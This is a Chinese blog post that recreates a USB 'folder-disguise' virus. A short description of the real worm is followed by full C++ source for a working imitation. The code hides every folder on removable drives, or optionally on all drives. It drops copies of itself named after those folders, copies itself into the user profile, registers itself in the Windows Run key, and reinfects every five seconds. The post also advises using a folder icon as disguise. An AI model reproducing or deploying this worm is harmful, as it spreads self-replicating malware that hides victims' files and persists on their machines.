笔者之前遇见过一种专门感染 U 盘的病毒,它的主要特征就是将它的程序图标看起来就是文件夹的图标,对一般的电脑使用者具有很强的误导性。一旦误运行了此病毒,它会将系统上的可移动磁盘(类似 U 盘)中的文件夹进行隐藏,并且将它的可执行文件本体改为这些文件夹的名字,克隆到 U 盘中伪装起来。
U 盘将一直携带这种病毒,如果 U 盘插入到其他电脑上,使用者很可能会把那些很像文件夹的 “潜伏者” 当做文件夹打开,当然,使用者肯定会发现没办法打开这个文件夹,并且随着用户的打开操作,病毒又将在此电脑上运行起来,并将继续感染其他以后接入到系统中的可移动磁盘。如果是不懂电脑的人,可能还会认为是电脑或者 U 盘本身的问题,并为此苦恼。
#define _CRT_SECURE_NO_WARNINGS
/*********** 开关参数 ************/
// 如果想否决,可以注释掉以下宏定义
// 是否使用强力模式,但是容易被检测,将可能重复感染
//#define STRONG
// 感染周期(ms)
#define SLEEP_TIME 5000
// 是否随系统自动启动
#define AUTOBOOT
// 是否同时也感染硬盘
//#define ALL_DRIVE
/************************************/
#include <windows.h>
#include <string>
#ifdef STRONG
void xGetDirectory(std::string &strDrive, std::string strDirs[], int &nDrive) {
WIN32_FIND_DATAA wfd;
int n = 0;
HANDLE hFile = FindFirstFileA((strDrive + *).c_str(), &wfd); // 首次查询
if (hFile == INVALID_HANDLE_VALUE) return;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 判断是否为目录(允许其他属性)
strDirs[n++] = strDrive + wfd.cFileName;
}
BOOL bRet = TRUE;
while (bRet) { // 迭代操作记录目标驱动器的目录
bRet = FindNextFileA(hFile, &wfd);
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 判断是否为目录(允许其他属性)
strDirs[n++] = strDrive + wfd.cFileName;
}
}
FindClose(hFile); // 关闭查询
nDrive = n;
}
#else
void xGetDirectory(std::string &strDrive, std::string strDirs[], int &nDrive) {
WIN32_FIND_DATAA wfd;
int n = 0;
HANDLE hFile = FindFirstFileA((strDrive + *).c_str(), &wfd); // 首次查询
if (hFile == INVALID_HANDLE_VALUE) return;
if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { // 判断是否为目录(不允许其他属性)
strDirs[n++] = strDrive + wfd.cFileName;
}
BOOL bRet = TRUE;
while (bRet) { // 迭代操作记录目标驱动器的目录
bRet = FindNextFileA(hFile, &wfd);
if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { // 判断是否为目录(不允许其他属性)
strDirs[n++] = strDrive + wfd.cFileName;
}
}
FindClose(hFile); // 关闭查询
nDrive = n;
}
#endif
void xGetRemovableDrive(std::string pstrDrive[], int &nDrive) {
CHAR szBuff[MAX_PATH];
DWORD nDrivesLen = GetLogicalDriveStringsA(MAX_PATH, szBuff); // 获取逻辑驱动器字串
int i, n = 0;
std::string strTemp;
for (int i = 0; i < nDrivesLen; i++) { // 筛选驱动器循环
if (szBuff[i] == '') {
UINT iRes = GetDriveTypeA(strTemp.c_str()); // 获取驱动器类型
if (iRes == DRIVE_REMOVABLE) { // 判断是否为可移动磁盘
pstrDrive[n] = strTemp;
n += 1;
}
strTemp.clear();
} else {
strTemp.push_back(szBuff[i]);
}
}
nDrive = n;
}
void xGetDrive(std::string pstrDrive[], int &nDrive) {
CHAR szBuff[MAX_PATH];
DWORD nDrivesLen = GetLogicalDriveStringsA(MAX_PATH, szBuff); // 获取逻辑驱动器字串
int i, n = 0;
std::string strTemp;
for (int i = 0; i < nDrivesLen; i++) { // 筛选驱动器循环
if (szBuff[i] == '') {
UINT iRes = GetDriveTypeA(strTemp.c_str()); // 获取驱动器类型
if (iRes == DRIVE_REMOVABLE || iRes == DRIVE_FIXED) { // 判断是否为可移动磁盘或者固定磁盘
pstrDrive[n] = strTemp;
n += 1;
}
strTemp.clear();
} else {
strTemp.push_back(szBuff[i]);
}
}
nDrive = n;
}
void xInject(const std::string &strObjDir) {
const std::string strObjExe = strObjDir + .exe; // 目标克隆体路径
SetFileAttributesA(strObjDir.c_str(), FILE_ATTRIBUTE_HIDDEN); // 设置文件夹的隐藏属性
CHAR szBuff[MAX_PATH];
GetModuleFileNameA(NULL, szBuff, MAX_PATH);
CopyFileA(szBuff, strObjExe.c_str(), FALSE); // 感染
}
void xCloneToLocalDrive() {
CHAR szObjBuff[MAX_PATH] = { 0 }, szSrcBuff[MAX_PATH] = { 0 };
GetEnvironmentVariableA(USERPROFILE, szObjBuff, MAX_PATH);
GetModuleFileNameA(NULL, szSrcBuff, MAX_PATH); // 取本体的完全路径
std::string cmdline = (/Y /I /Q + std::string(szSrcBuff) + + std::string(szObjBuff) + );
ShellExecuteA(NULL, NULL, xcopy.exe, cmdline.c_str(), NULL, SW_HIDE); // 克隆本体
SetFileAttributesA(szObjBuff, FILE_ATTRIBUTE_HIDDEN); // 设置文件隐藏属性
}
#ifdef AUTOBOOT
void xSetAutoBoot() {
xCloneToLocalDrive(); // 先克隆到本地
HKEY hKey;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, 0, KEY_WRITE, &hKey);
if (lRet == ERROR_SUCCESS) {
CHAR szBuff[MAX_PATH] = { 0 };
GetEnvironmentVariableA(USERPROFILE, szBuff, MAX_PATH); // 获取用户目录
strcat(szBuff, \ufolder.exe);
DWORD nLen = strlen(szBuff);
lRet = RegSetValueExA(hKey, ufolder, 0, REG_SZ, (BYTE *)szBuff, nLen * sizeof(char)); // 设置自启动
RegCloseKey(hKey);
}
}
#else
void xSetAutoBoot() {}
#endif
int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd) {
std::string strDrives[MAX_PATH];
std::string strDirs[MAX_PATH];
int nDrive;
int nDir;
xSetAutoBoot(); // 设置本地随系统启动,并在后台运行
// 感染驱动器
while (1) {
#ifdef ALL_DRIVE
xGetDrive(strDrives, nDrive);
#else
xGetRemovableDrive(strDrives, nDrive);
#endif
for (int i = 0; i < nDrive; i++) {
// 获取感染目标
xGetDirectory(strDrives[i], strDirs, nDir);
for (int j = 0; j < nDir; j++) {
xInject(strDirs[j]); // 执行感染
}
}
Sleep(SLEEP_TIME); // 嘘~ 休整一下吧
xCloneToLocalDrive(); // 做一下克隆到本地
}
return 0;
}
为了伪装,文件夹图标肯定少不了,可以在 VS 中包含在项目资源里面与源代码一同编译
伪装文件夹的图标资源 (.ico)
这里演示的效果没有勾选 “显示隐藏文件” 和 “显示已知文件的扩展名” 这两个选项
🖊️ 本文由 Alone Café 创作,如果您觉得本文让您有所收获,请随意赞赏 🥺
⚖️ 本文以 CC BY-NC-SA 4.0,即《署名-非商业性使用-相同方式共享 4.0 国际许可协议》进行许可
👨⚖️ 本站所发表的文章除注明转载或出处外,均为本站作者原创或翻译,转载前请务必署名并遵守上述协议
🔗 原文链接:https://alone.cafe/2019/09/仿写u盘文件夹伪装病毒
📅 最后更新:2021年10月17日 Sunday 16:11
Update your browser to view this website correctly. Update my browser now